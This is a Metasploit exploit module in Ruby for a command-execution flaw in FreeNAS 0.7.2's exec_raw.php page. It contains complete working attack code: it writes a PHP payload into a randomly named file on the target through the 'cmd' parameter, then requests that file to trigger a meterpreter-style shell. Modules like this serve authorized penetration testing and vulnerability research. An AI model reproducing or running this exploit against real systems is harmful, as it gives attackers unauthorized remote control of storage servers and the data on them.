##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution flaw
          in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
          to the exec_raw.php page, an attacker may be able to execute arbitrary
          commands.

          NOTE: This module works best with php/meterpreter payloads.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-20059' ],
          [ 'OSVDB', '94441' ],
          [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ]
        ],
        'Payload' => {
          'Space' => 6144,
          'DisableNops' => true,
          'BadChars' => "`\"' %&x",
        },
        'Targets' => [
          [ 'Automatic Target', {} ]
        ],
        'Privileged' => true,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'DisclosureDate' => '2010-11-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    page = rand_text_alpha_upper(rand(5) + 1) + ".php"

    shellcode = payload.encoded

    sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"

    print_status("Sending exploit page '#{page}'")

    res = send_request_raw(
      {
        'uri'	=> "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
      }, 10
    )

    if (res and res.code == 200)
      print_status("Triggering payload...")
      send_request_raw({ 'uri' => "/#{page}" }, 5)
      handler
    else
      print_error("Exploit failed")
      return
    end
  end
end